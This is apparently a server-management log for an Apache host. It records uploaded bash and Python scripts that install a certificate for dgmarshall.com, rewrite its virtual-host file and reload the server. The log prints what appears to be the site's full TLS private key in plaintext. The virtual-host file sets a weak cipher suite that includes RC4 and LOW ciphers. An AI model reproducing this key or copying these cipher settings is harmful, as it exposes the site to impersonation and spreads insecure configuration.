N96OiijIwo+GaJ14mmKYfHKAwePOgsL+aEFra4hz7914S+6IYkOBOkG0kP4D6h1J
m2Y2oI4+HUdlzNDwfgdum20A735RVg7mH5fy+n57XgFjeA/38fo5BlL1zvaemRfV
KbfemFCrzKitJxuESY19XQrckqojC1uwAxNqARRwurGD/+TqJ1ZgNh5kfmqaEoGn
z5ssFPfQHDbmAwXf75vIaoUMw/Eg14NEWTyeiPKvksfPxZSdSPwA51o3sOnyXQ9Q
hN6GYX1iYDWkYMlUJpHrWf3IRLQoxVY/2jD1ITm4qwKBgQDpg8zuV2yZAxWKlq0S
T/PF9H2mC6Nhh0Eildb4dYHNWNEqAxRe4k+sZofWY6yEQ7W/htx5kUU7XZ6uuW29
SvMIe7AGBxscBtJli66SSH7mtpc+h8xnRvuwRegRCTi2WA0uE/MxVFXbfyJw15Yo
2cR4F0AsMUL8hs0fWyXOAKvlIwKBgQDfwL7EGAaAfiHv4JqRy11J663o+kXG9AI/
BZ273LeO2CpZCx/q3lwRQVMcs6WAQLO7x1H4TbFcxKM/BVKpHis3bmPWmYz14/Kd
jVVPx5dssrCeJGc//hGkTeGj7pegmJLOn+sPH63Q2/p5/7mF0JRLkNSW+eAr+MkK
aRsDGBrxvwKBgHs0cSGnusKYn/r5OOOaj5H4R3seVNuWU0V+LWf2B8BihilWap8N
ZOAfULhK6rD2UKR28Uiq3w5NfPXPHBltvADT0bG8eg81gjjVlAvWeC4eVHpHiA9N
omoE2EZ0yRlcJ8gR+pQiXRJsZ62F8dIn48NA8Tjf3OoD7aIHo1CnhgplAoGAD/is
JUcpv6ZBOeQoZFvFzu75vPWQYYEtX95AwhYhLBsV+sEmiBdTLxAgpJ3WJG955N93
ZGf3Tw3iMS9qFRRINW61xa20OCELQl/CRS2UC3g9zyv+Cr1R+Q5uGst/G0GIySL1
HmE+gPgSyv6L+ZdH3pT598TiUYEyqIGUIgZodfUCgYAiM098vMudcL385IjZ6k2C
YnhlRXwpQoYJBZJz71XKC3n7r0LgWXfM3foPxqEkkJizhB9uX3ZYR4eBICgFLUxr
SlZtprvKh+5CcNhk1pFgua6SUCq9kxTDpQj2YggVQRPg38YreQPQfSJGQD6Xs2Kq
Eua0vFGondxxO50Bdb6HuQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-04 06:00:27: 

chmod 755 /tmp/pkp807697; /tmp/pkp807697; rm /tmp/pkp807697

2026-02-04 06:00:27: 


dir=/etc/ssl/certs


2026-02-04 06:00:27: 

PUT: /tmp/pkp429892

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/dgmarshall_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-04 06:00:27: 

chmod 755 /tmp/pkp429892; /tmp/pkp429892; rm /tmp/pkp429892

2026-02-04 06:00:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_com.conf 42

<VirtualHost *:80>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-04 06:00:27: 

PUT: /tmp/pkp500955

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=dgmarshall_www_com.conf
TARGET=/etc/apache2/sites-enabled/dgmarshall_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/dgmarshall_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/dgmarshall_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_com.conf= 1'
fi


2026-02-04 06:00:27: 

chmod 755 /tmp/pkp500955; /tmp/pkp500955; rm /tmp/pkp500955

2026-02-04 06:00:27: 




2026-02-04 06:00:27: 

PUT: /tmp/pkp710025

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-04 06:00:27: 

chmod 755 /tmp/pkp710025; /tmp/pkp710025; rm /tmp/pkp710025

2026-02-04 06:00:27: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-04 06:00:27: Establishing a connection
2026-02-04 06:00:27: 

PUT: /tmp/pkp232293

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-04 06:00:27: 

chmod 755 /tmp/pkp232293; /tmp/pkp232293; rm /tmp/pkp232293

2026-02-04 06:00:27: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-04 06:00:27: 

PUT: /tmp/pkp184364

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/dgmarshall_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-04 06:00:27: 

chmod 755 /tmp/pkp184364; /tmp/pkp184364; rm /tmp/pkp184364

2026-02-04 06:00:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_com.conf	1383

<VirtualHost *:80>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-04 06:00:27: 

PUT: /tmp/pkp299593

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-04 06:00:27: 

chmod 755 /tmp/pkp299593; /tmp/pkp299593; rm /tmp/pkp299593

2026-02-04 06:00:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt	5385
fe:f8:96:1c:6b:18:b2:e8:63:b0:be:c9:13:6b:87:fc

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBnsJkcWIi9Gmzhz/NMNEdpvhMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjA0MDUwMTU1WhcNMjYwNTA1MDUwMTU0WjAZMRcwFQYDVQQD
Ew5kZ21hcnNoYWxsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMwZoGAB1T+cFNxhy7AdJL30TDOvDghwDk9oC5OU+rz57R69jz8fFcXEVjIs42X9
gJJzGeU7VDhl2TiCl3k8Gbigw1NyVujz+CHcR7AYs/qdUakN2N/NBNNHHw6aIpuK
np6unWXKAfRiuzcBA5D8aa+AKXLojs+pqopFHaUp46fRZGtoc3C5SODp57t12/M8
FDpGdNQpKJkhf7zzYRuX2sjoSrdTd0Q9RYcahQzO0rGrANhUdRk0sl3nqxK4by0n
Z+77qG+FKdPC3i96R3ougqSZL1KobxETBXkPmaWqiuPjI+ohSbj8PcyEJm4/Kde6
tOwdm3pTemHH1x2yreCD6B0CAwEAAaOCAjowggI2MA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUwlInXEb6VMB5Ifgj4a1COkKb+7QwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5kZ21hcnNoYWxsLmNvbYISd3d3
LmRnbWFyc2hhbGwuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvOTguY3JsMIIBDAYKKwYBBAHW
eQIEAgSB/QSB+gD4AHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMA
AAGcJzzZgAAABAMARzBFAiBktXF9qRjP+ergq/V/4ygdQBvjqIBEuJp+FiwIK1+H
ygIhAIsjG72n83A6aruMc+25updyS+zRBYDWzr0YQ4pgVDufAH4Apcl4kl1XRheC
hw3YiWYLXFVki30AQPLsB2hR0YhpGfcAAAGcJzzb5gAIAAAFADETV/cEAwBHMEUC
IA71EkADEQLBnCImc9RsK5Ug2RfCX8tudJmLImKg+jEZAiEA08OXcDAjl3jh6Y/h
JPIPLLH5JfEJllURZZ7fN+6feQQwDQYJKoZIhvcNAQELBQADggEBACtaeaFlSls1
/NjIIifJljmpYMii0Cms+qp3HpvNsV+/yTmmFOBySzrh1dt2vdSoINBTPf+7Am4e
I4JpXRjHKGG0LAQOhSrBoxtjbxqp5jXDjXfUTaw1JVfVG8Qnj8yG0T6z/n9o2Irk
FvlT6ZijFHk89FgseSuMGcfDVWP5m0E8FrpztGDdyEk8JMQKpAkOb/RuesrG880l
mkCNZXL/BNee0bg2KbZGoidSZdUxLFDWH7wDN1kaSUWdEXcBg6lsJsvXd7dqnz40
fZ4KaM3ODm1TFP2kfHSzkkbE1b2V5wrGND2GS39u2GhHwN+pTK0Vlx/vySNFKg5L
5d0wcHH6zwE=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDMGaBgAdU/nBTc
YcuwHSS99Ewzrw4IcA5PaAuTlPq8+e0evY8/HxXFxFYyLONl/YCScxnlO1Q4Zdk4
gpd5PBm4oMNTclbo8/gh3EewGLP6nVGpDdjfzQTTRx8OmiKbip6erp1lygH0Yrs3
AQOQ/GmvgCly6I7PqaqKRR2lKeOn0WRraHNwuUjg6ee7ddvzPBQ6RnTUKSiZIX+8
82Ebl9rI6Eq3U3dEPUWHGoUMztKxqwDYVHUZNLJd56sSuG8tJ2fu+6hvhSnTwt4v
ekd6LoKkmS9SqG8REwV5D5mlqorj4yPqIUm4/D3MhCZuPynXurTsHZt6U3phx9cd
sq3gg+gdAgMBAAECggEAARrkajtS+cCxFjkLVB1G8nus9pyshpwrX6pbDFtX+Nz2
N96OiijIwo+GaJ14mmKYfHKAwePOgsL+aEFra4hz7914S+6IYkOBOkG0kP4D6h1J
m2Y2oI4+HUdlzNDwfgdum20A735RVg7mH5fy+n57XgFjeA/38fo5BlL1zvaemRfV
KbfemFCrzKitJxuESY19XQrckqojC1uwAxNqARRwurGD/+TqJ1ZgNh5kfmqaEoGn
z5ssFPfQHDbmAwXf75vIaoUMw/Eg14NEWTyeiPKvksfPxZSdSPwA51o3sOnyXQ9Q
hN6GYX1iYDWkYMlUJpHrWf3IRLQoxVY/2jD1ITm4qwKBgQDpg8zuV2yZAxWKlq0S
T/PF9H2mC6Nhh0Eildb4dYHNWNEqAxRe4k+sZofWY6yEQ7W/htx5kUU7XZ6uuW29
SvMIe7AGBxscBtJli66SSH7mtpc+h8xnRvuwRegRCTi2WA0uE/MxVFXbfyJw15Yo
2cR4F0AsMUL8hs0fWyXOAKvlIwKBgQDfwL7EGAaAfiHv4JqRy11J663o+kXG9AI/
BZ273LeO2CpZCx/q3lwRQVMcs6WAQLO7x1H4TbFcxKM/BVKpHis3bmPWmYz14/Kd
jVVPx5dssrCeJGc//hGkTeGj7pegmJLOn+sPH63Q2/p5/7mF0JRLkNSW+eAr+MkK
aRsDGBrxvwKBgHs0cSGnusKYn/r5OOOaj5H4R3seVNuWU0V+LWf2B8BihilWap8N
ZOAfULhK6rD2UKR28Uiq3w5NfPXPHBltvADT0bG8eg81gjjVlAvWeC4eVHpHiA9N
omoE2EZ0yRlcJ8gR+pQiXRJsZ62F8dIn48NA8Tjf3OoD7aIHo1CnhgplAoGAD/is
JUcpv6ZBOeQoZFvFzu75vPWQYYEtX95AwhYhLBsV+sEmiBdTLxAgpJ3WJG955N93
ZGf3Tw3iMS9qFRRINW61xa20OCELQl/CRS2UC3g9zyv+Cr1R+Q5uGst/G0GIySL1
HmE+gPgSyv6L+ZdH3pT598TiUYEyqIGUIgZodfUCgYAiM098vMudcL385IjZ6k2C
YnhlRXwpQoYJBZJz71XKC3n7r0LgWXfM3foPxqEkkJizhB9uX3ZYR4eBICgFLUxr
SlZtprvKh+5CcNhk1pFgua6SUCq9kxTDpQj2YggVQRPg38YreQPQfSJGQD6Xs2Kq
Eua0vFGondxxO50Bdb6HuQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
